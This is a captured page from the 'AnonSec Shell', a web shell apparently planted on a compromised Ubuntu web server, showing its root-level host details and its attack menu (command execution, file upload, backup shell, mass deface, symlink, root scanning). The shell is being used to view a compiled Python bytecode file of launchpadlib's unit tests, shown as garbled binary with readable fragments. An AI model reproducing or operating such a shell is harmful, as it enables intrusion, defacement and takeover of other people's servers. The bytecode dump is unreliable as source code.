AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/launchpadlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/launchpadlib/tests/__pycache__/test_launchpad.cpython-310.pyc
o

;��a���@s�dZeZddlmZddlZddlZddlZddlZddl	Z	ddl
Z
zddlmZWne
y9ddlmZYnwddlZddlmZddlmZmZddlmZddlZddlmZdd	lmZdd
lmZmZmZmZmZm Z m!Z!ddlm"Z"dZ#Gd
d�de
j$�Z%Gdd�de
j$�Z&Gdd�de
j$�Z'Gdd�de
j$�Z(Gdd�de
j$�Z)Gdd�de
j$�Z*Gdd�de
j$�Z+Gdd�de+�Z,Gdd�de+�Z-Gdd �d e
j$�Z.Gd!d"�d"e
j$�Z/d#d$�Z0dS)%zTests for the Launchpad class.�)�contextmanagerN)�patch)�ServiceRoot)�AccessToken�Credentials)�uris)�	Launchpad)�UnencryptedFileCredentialStore)�assert_keyring_not_imported�BadSaveKeyring�fake_keyring�FauxSocketModule�InMemoryKeyring�NoNetworkAuthorizationEngine�NoNetworkLaunchpad)�KeyringCredentialStore�http://api.example.com/c@�eZdZdZdd�ZdS)�TestResourceTypeClassesz<launchpadlib must know about restfulclient's resource types.cCs*tj��D]
\}}|�tj||�qdS�N)r�RESOURCE_TYPE_CLASSES�items�assertEqualr)�self�name�cls�r�C/usr/lib/python3/dist-packages/launchpadlib/tests/test_launchpad.py�test_resource_typesBs�z+TestResourceTypeClasses.test_resource_typesN)�__name__�
__module__�__qualname__�__doc__rrrrrr?src@sleZdZdZdd�Zedd��Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�TestNameLookupsz0Test the utility functions in the 'uris' module.cCstgd��|_dS)N)�
production�	qastaging�staging�dogfood�dev�test_dev�edge)�sorted�aliases�rrrr�setUpLs
�zTestNameLookups.setUpccs|�tjdd��-}t�d�dV|�t|�d�|\}|�t|jt��|�	dt
|��Wd�dS1s7wYdS)NT��record�always�zno longer exists)�warnings�catch_warnings�simplefilterr�len�
assertTrue�
issubclass�category�DeprecationWarning�assertIn�str)r�caught�warningrrr�edge_deprecation_errorYs�
"�z&TestNameLookups.edge_deprecation_errorcCs4|�ttj���|j�|�ttj���|j�dSr)rr+r�
service_roots�keysr,�	web_rootsr-rrr�test_short_namesfsz TestNameLookups.test_short_namescC�F|���|�t�d�t�d��Wd�dS1swYdS�Nr*r$�r?rr�lookup_service_rootr-rrr�$test_edge_service_root_is_productionk�
�"�z4TestNameLookups.test_edge_service_root_is_productioncCrDrE�r?rr�lookup_web_rootr-rrr� test_edge_web_root_is_productiontrIz0TestNameLookups.test_edge_web_root_is_productioncC�H|���|�t�tj�t�d��Wd�dS1swYdS�Nr$�r?rrrG�EDGE_SERVICE_ROOTr-rrr�-test_edge_service_root_url_becomes_production}�

�"�z=TestNameLookups.test_edge_service_root_url_becomes_productioncCrMrN)r?rrrK�
EDGE_WEB_ROOTr-rrr�)test_edge_web_root_url_becomes_production�rRz9TestNameLookups.test_edge_web_root_url_becomes_productioncCrMrNrOr-rrr�/test_top_level_edge_constant_becomes_production�rRz?TestNameLookups.test_top_level_edge_constant_becomes_productioncCrD)Nzhttps://api.edge.launchpad.net/r$rFr-rrr�5test_edge_server_equivalent_string_becomes_production��
�"�zETestNameLookups.test_edge_server_equivalent_string_becomes_productioncCrD)Nzhttps://edge.launchpad.net/r$rJr-rrr�9test_edge_web_server_equivalent_string_becomes_production�rWzITestNameLookups.test_edge_web_server_equivalent_string_becomes_productioncCs�|���|jD]}|�t�|�tj|�qWd�n1s!wY|���|jD]}|�t�|�tj|�q.Wd�n1sGwYd}|�t�|�|�|�t�|�|�d}|�t	tj|�|�t	tj|�dS)z=Ensure that short service names turn into long service names.Nzhttp://some-other-server.comz	not-a-url)
r?r,rrrGr@rKrB�assertRaises�
ValueError)r�alias�
other_root�	not_a_urlrrr�test_lookups�s(

���

���zTestNameLookups.test_lookupsN)rr r!r"r.rr?rCrHrLrQrTrUrVrXr^rrrrr#Is
		r#c@r)�"TestServiceNameWithEmbeddedVersiona3Reject service roots that include the version at the end of the URL.

    If the service root is "http://api.launchpad.net/beta/" and the
    version is "beta", the launchpadlib constructor will raise an
    exception.

    This happens with scripts that were written against old versions
    of launchpadlib. The alternative is to try to silently fix it (the
    fix will eventually break as new versions of the web service are
    released) or to go ahead and make a request to
    http://api.launchpad.net/beta/beta/, and cause an unhelpful 404
    error.
    c
Cs�d}tjd|}ztddd||d�Wtd��ty3}z|�t|��d��WYd}~nd}~ww|d7}|jttddd||d�t	j
}tjd|d}|jttddd|d�dS)Nzversion-foor&)�service_root�versionzoIt looks like you're using a service root that incorporates the name of the web service version ("version-foo")z*Expected a ValueError that was not thrown!�/�r`)rr@rrZr7r<�
startswith�AssertionErrorrYr�DEFAULT_VERSION)rra�root�e�default_versionrrr�'test_service_name_with_embedded_version�s8
�����
�
�zJTestServiceNameWithEmbeddedVersion.test_service_name_with_embedded_versionN)rr r!r"rjrrrrr_�sr_c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�#TestRequestTokenAuthorizationEnginez4Tests for the RequestTokenAuthorizationEngine class.cCs|�ttt�dSr�rYrZr�SERVICE_ROOTr-rrr�test_app_must_be_identified�s�z?TestRequestTokenAuthorizationEngine.test_app_must_be_identifiedcC�ttdd�dS�Nr��application_name�rrmr-rrr�$test_application_name_identifies_app��zHTestRequestTokenAuthorizationEngine.test_application_name_identifies_appcCro�Nr��
consumer_namersr-rrr�!test_consumer_name_identifies_appruzETestRequestTokenAuthorizationEngine.test_consumer_name_identifies_appcCs,|jtttddd�|jtttddd�dS)N�name1�name2)rrrxrrlr-rrr�#test_conflicting_app_identifications�

�zGTestRequestTokenAuthorizationEngine.test_conflicting_app_identificationN)rr r!r"rnrtryr|rrrrrk�srkc@� eZdZdZdd�Zdd�ZdS)�%TestLaunchpadLoginWithCredentialsFilez9Tests for Launchpad.login_with() with a credentials file.cCsHt��\}}tjd|d�}t�|�}|�|jj|j	jj�t
�|�dS)N�
not important)rr�credentials_file)�tempfile�mkstempr�
login_withr�load_from_pathr�consumer�key�credentials�os�remove)r�ignore�filename�	launchpadr�rrr�
test_filenames�
�z3TestLaunchpadLoginWithCredentialsFile.test_filenamecCs6t��\}}t�}|jttjd||d�t�|�dS)Nr)rrr��credential_store)	r�r�rrYrZrr�r�r�)rr�r��storerrr�+test_cannot_specify_both_filename_and_store)s�zQTestLaunchpadLoginWithCredentialsFile.test_cannot_specify_both_filename_and_storeN)rr r!r"r�r�rrrrr~sr~c@seZdZdd�ZdS)�4TestLaunchpadLoginWithCredentialsFileFromEnvVariablecCsrt��\}}|tjd<tjdd�}|�|jt�|�	|jj
|�t�d�tjd=|�tj�
d��t�|�dS)N�LP_CREDENTIALS_FILErrq)r�r�r��environrr��assertIsInstancer�r	rr��unsetenv�assertIsNone�getr�)rr�r�r�rrrr�:s
��
zBTestLaunchpadLoginWithCredentialsFileFromEnvVariable.test_filenameN)rr r!r�rrrrr�6sr�c@r})�KeyringTestz*Base class for tests that use the keyring.cCst�t�tj_dSr)r
r�launchpadlibr��keyringr-rrrr.RszKeyringTest.setUpcCs
tj`dSr)r�r�r�r-rrr�tearDownYs
zKeyringTest.tearDownN)rr r!r"r.r�rrrrr�Osr�cs�eZdZdZ�fdd�Z�fdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Z�ZS)0�TestLaunchpadLoginWithz!Tests for Launchpad.login_with().cstt|���t��|_dSr)�superr�r.r��mkdtemp�temp_dirr-��	__class__rrr.aszTestLaunchpadLoginWith.setUpcstt|���t�|j�dSr)r�r�r��shutil�rmtreer�r-r�rrr�eszTestLaunchpadLoginWith.tearDowncCs�tj�|jd�}tjdt|d�|�tj�|��tj�|d�}|�tj�|��|�tj�tj�|d���tj�|d�}|�	tj�|��dS)Nr�r�r`�launchpadlib_dir�api.example.com�cacher�)
r��path�joinr�rr�rmr7�isdir�assertFalse)rr��service_path�credentials_pathrrr�test_dirs_createdis�z(TestLaunchpadLoginWith.test_dirs_createdcCs�tj�|jd�}t�|�t�|d�|�tj�|��t�|�}t�	|j
�}|�|tjtj
BtjB�tjdt|d�t�|�}t�	|j
�}|�|tjtj
BtjB�dS)Nr�i�rr�)r�r�r�r��mkdir�chmodr7r��stat�S_IMODE�st_mode�assertNotEqual�S_IWRITE�S_IREAD�S_IEXECrr�rmr�rr��statinfo�moderrr�'test_dirs_created_are_changed_to_secure�s

�
z>TestLaunchpadLoginWith.test_dirs_created_are_changed_to_securecCsftj�|jd�}tjdt|d�|�tj�|��t�	|�}t	�
|j�}|�|t	j
t	jBt	jB�dS)Nr�rr�)r�r�r�r�rr�rmr7r�r�r�r�rr�r�r�r�rrr�test_dirs_created_are_secure�s�
z3TestLaunchpadLoginWith.test_dirs_created_are_securecCs\tj�|jd�}tjdt|dd�}|�|jdd�tjdt|dd�}|�|jdd�dS)Nr�r�foo)r`r�rara�bar)	r�r�r�r�rr�rmr�passed_in_args�rr�r�rrr�test_version_is_propagated�s��z1TestLaunchpadLoginWith.test_version_is_propagatedcCsXtj�|jd�}tjdt|d�}|�|jj	j
d�tjdt|d�}|�|jj	j
d�dS)Nr�zvery importantr�)r�r�r�r�rr�rmrr�r�rrr�rrr�#test_application_name_is_propagated�s"�
�	�
�z:TestLaunchpadLoginWith.test_application_name_is_propagatedcCs6ttd�}tj|d�|�|jd�|�|jd�dS)N�application name��authorization_enginer2)rrmrr�r�request_tokens_obtained�access_tokens_obtained�r�enginerrr�'test_authorization_engine_is_propagated�s
z>TestLaunchpadLoginWith.test_authorization_engine_is_propagatedcCs|�ttj�dSr)rYrZrr�r-rrr�)test_login_with_must_identify_application��z@TestLaunchpadLoginWith.test_login_with_must_identify_applicationcC�tjdd�dSrp�rr�r-rrrrt��z;TestLaunchpadLoginWith.test_application_name_identifies_appcCr�rvr�r-rrrry�r�z8TestLaunchpadLoginWith.test_consumer_name_identifies_appcCs"ttd�}|jttjd|d�dS)�;Catch an attempt to specify inconsistent application_names.zapplication name1zapplication name2r�N�rrmrYrZrr�r�rrr�+test_inconsistent_application_name_rejected�s�
�zBTestLaunchpadLoginWith.test_inconsistent_application_name_rejectedcCs&ttddd�}|jttjd|d�dS)r�N�consumer_name1rw�consumer_name2r�r�r�rrr�(test_inconsistent_consumer_name_rejected�s�
�z?TestLaunchpadLoginWith.test_inconsistent_consumer_name_rejectedcCs.ttddgd�}|jttjdddg|d�dS)z=Catch an attempt to specify inconsistent allow_access_levels.r��FOO�rx�allow_access_levelsN�BAR)rxr�r�r�r�rrr�.test_inconsistent_allow_access_levels_rejecteds�
�zETestLaunchpadLoginWith.test_inconsistent_allow_access_levels_rejectedcCs4dd�}t|d�}dd�}|jttjd||d�dS)NcS�dSrrrrrr�	callback1�zRTestLaunchpadLoginWith.test_inconsistent_credential_save_failed.<locals>.callback1)�credential_save_failedcSr�rrrrrr�	callback2r�zRTestLaunchpadLoginWith.test_inconsistent_credential_save_failed.<locals>.callback2�app name)r�r�)rrYrZrr�)rr�r�r�rrr�(test_inconsistent_credential_save_faileds

�z?TestLaunchpadLoginWith.test_inconsistent_credential_save_failedcCsJtjddgd�}|�|jjjd�|�|jjjd�|�|jjdg�dS)Nr�r�r�)	rr�rr�r�r�rrr�r��rr�rrr�test_non_desktop_integration)s�
�z3TestLaunchpadLoginWith.test_non_desktop_integrationcCs&tjddgd�}|�|jjdg�dS)Nr�r�)r��DESKTOP_INTEGRATION)rr�rr�r�r�rrr�<test_desktop_integration_doesnt_happen_without_consumer_name6s��zSTestLaunchpadLoginWith.test_desktop_integration_doesnt_happen_without_consumer_namecCs�t�}t�}tjd|jt||d�}|�|jjjt	j
�|�|jjjd�|�|j
jdg�tttj�|jdd�||tjd�}|�|j|�dS)Nr�)r�r`�timeout�
proxy_infor�r�r�)r`r�r�r�ra)�objectrr�r�rmrr��access_tokenr�r�ACCESS_TOKEN_KEYr�rrr�r��dictr�r�r�rfr�)rr�r�r��expected_argumentsrrr�*test_no_credentials_creates_new_credentialCs8��
���zATestLaunchpadLoginWith.test_no_credentials_creates_new_credentialcCs`tjd|jtd�}|�|jjjd�|�|jjjd�t	j
�|jddd�}|�t	j
�
|��dS)z)Test the anonymous login helper function.zanonymous access)r�r`�r�r�N)r�login_anonymouslyr�rmrr�r�r��secretr�r�r�r��exists)rr�r�rrr�test_anonymous_logines�
�z+TestLaunchpadLoginWith.test_anonymous_loginc
Cs�t�tj�|jdd��tj�|jddd�}tddtdd�d�}|�|�t�}t�}d}t	j
d|jt|||d	�}tt|||tj�|jdd
�d�}|�
�D]\}}	|j|}
|�|
|	�qMdS)Nr�r�r�zconsumer_secret:42z
access_key:84zaccess_secret:168)�consumer_secretr�r�)r�r`r�r�rar�)r`r�r�rar�)r��makedirsr�r�r�rr�save_to_pathr�rr�rmr�rr�r)r�credentials_file_pathr�r�r�rar�r�r��expected�actualrrr�-test_existing_credentials_arguments_passed_onusD�
��
��
�zDTestLaunchpadLoginWith.test_existing_credentials_arguments_passed_onc	Cs�tj�d�}|jtjd<tjdtd�}|dur|tjd<ntjd=|jd}tj�	tj�
|dd��}|�|tj�
|jd��|�tj�
tj�
|dd���dS)N�HOMEr�rcr�z..z
.launchpadlibr�)r�r�r�r�rr�rmr�r��abspathr�rr7r�)r�old_homer��	cache_dirr�rrr�test_None_launchpadlib_dir�s$�
���z1TestLaunchpadLoginWith.test_None_launchpadlib_dircCsbt�dd�}|�|jdd�t�dtjd�}|�|jdtjd�d}|�ttjdd�dS)Nr�r&r`z"https://api.staging.launchpad.net/)r�zhttps://r�)rr�rr�rr@rYrZr�rrr�test_short_service_name�s �
��
�z.TestLaunchpadLoginWith.test_short_service_namecCstjddd�dS)Nr�)�max_failed_attemptsr�r-rrr�!test_max_failed_attempts_accepted�r�z8TestLaunchpadLoginWith.test_max_failed_attempts_accepted)rr r!r"r.r�r�r�r�r�r�r�r�rtryr�r�r�r�r�r�r�r�r�r�r�r�
__classcell__rrr�rr�^s2
	


"&r�c@r})�TestDeprecatedLoginMethodsz2Make sure the deprecated login methods still work.cCsxtjdd��,}t�d�t�dt�t�ddd�|�t|�d�|�|d	jt	�Wd�dS1s5wYdS)
NTr/r1r�r��tokenr�r2r)
r3r4r5�PendingDeprecationWarningr�loginrr6r9r:�rr=rrr�test_login_is_deprecated�s
"�z3TestDeprecatedLoginMethods.test_login_is_deprecatedcCs�tjdd��0}t�d�t�dt�t�dd�t�d�|�t|�d�|�|dj	t
�Wd�dS1s9wYdS)	NTr/r1r�z.*next release of cryptographyr�r2r)r3r4r5r�filterwarningsr�get_token_and_loginrr6r9r:rrrr�&test_get_token_and_login_is_deprecated�s
�
"�zATestDeprecatedLoginMethods.test_get_token_and_login_is_deprecatedN)rr r!r"r	rrrrrr�s	rc@sveZdZdd�Zdd�Ze�ededd���dd	��Z	e�eded
d���dd��Z
e�eded
d���dd��ZdS)�!TestCredenitialSaveFailedCallbackcC�t�tj_t��|_dSr�r
r�r��socketr�r�r�r-rrrr.��
z'TestCredenitialSaveFailedCallback.setUpcC�ttj_t�|j�dSr�rr�r�r�r�r�r-rrrr���z*TestCredenitialSaveFailedCallback.tearDown�_is_sudocC�dS�NFrrrrr�<lambda>��z*TestCredenitialSaveFailedCallback.<lambda>csvg��fdd�}tj�|jd�}d}tt���tjd|||d�|�t	��d�Wd�dS1s4wYdS)Ncs��d�dSr)�appendr��callback_calledrr�callbackszPTestCredenitialSaveFailedCallback.test_credentials_save_failed.<locals>.callbackr�rr)r`r�r�r2)
r�r�r�r�rrrr�rr6)rrr�r`rrr�test_credentials_save_failed�s�"�z>TestCredenitialSaveFailedCallback.test_credentials_save_failedcCrrrrrrrrrcCsZtj�|jd�}d}tt���|jttj	d||d�Wd�dS1s&wYdS�Nr�rrr�)
r�r�r�r�rrrY�RuntimeErrorrr��rr�r`rrr�:test_default_credentials_save_failed_is_to_raise_exceptions�"�z\TestCredenitialSaveFailedCallback.test_default_credentials_save_failed_is_to_raise_exceptioncCr)NTrrrrrr!rcCsTtj�|jd�}d}tt���tjd||d�Wd�dS1s#wYdSr)r�r�r�r�rrrr�r!rrr�>test_credentials_save_fail_under_sudo_does_not_raise_exception!s�"�z`TestCredenitialSaveFailedCallback.test_credentials_save_fail_under_sudo_does_not_raise_exceptionN)rr r!r.r�rr�r�staticmethodrr"r#rrrrr
�s

r
c@sXeZdZdd�Zdd�Ze�ededd���dd	��Z	e�eded
d���dd��Z
d
S)�TestMultipleSitescCrrrr-rrrr.4rzTestMultipleSites.setUpcCrrrr-rrrr�;rzTestMultipleSites.tearDownrcCrrrrrrrr?rzTestMultipleSites.<lambda>cCs�tj�|jd�}t�}d}d}t|��tj|||d�}|jj	j
}Wd�n1s+wYt|j�
��dd}|�||�|�||�|�||d|�dS)Nr�rzSuper App 3000r�rr2�@)r�r�r�r�rrrr�r�r�r��list�datarAr;r)rr�r�r`rrr�rx�application_keyrrr�"test_components_of_application_key?s 
��z4TestMultipleSites.test_components_of_application_keycCrrrrrrrrZrcCs�tj�|jd�}t�}|jrJd��t|��tjdd|d�tjdd|d�Wd�n1s1wYt	|j�
��dksAJ�t|j�
��dd	}t|j�
��d	d	}|�||�dS)
Nr�z$oops, a fresh keyring has data in itr�zhttp://alpha.example.com/r�zhttp://beta.example.com/�rr2)
r�r�r�r�rr(rrr�r6rAr'r�)rr�r��application_key_1�application_key_2rrr�test_same_app_different_serversZs&
���z1TestMultipleSites.test_same_app_different_serversN)rr r!r.r�rr�rr$r*r.rrrrr%/s
r%cCst���t�Sr)�unittest�
TestLoader�loadTestsFromNamerrrrr�
test_suitewsr2)1r"�type�
__metaclass__�
contextlibrr�r�rr�r�r/�
unittest.mockr�ImportError�mockr3�lazr.restfulclient.resourcer�launchpadlib.credentialsrrr�r�launchpadlib.launchpadrr	�launchpadlib.testing.helpersr
rrr
rrrrrm�TestCaserr#r_rkr~r�r�r�rr
r%r2rrrr�<module>sL�$	
t8#wCH

Anon7 - 2022
AnonSec Team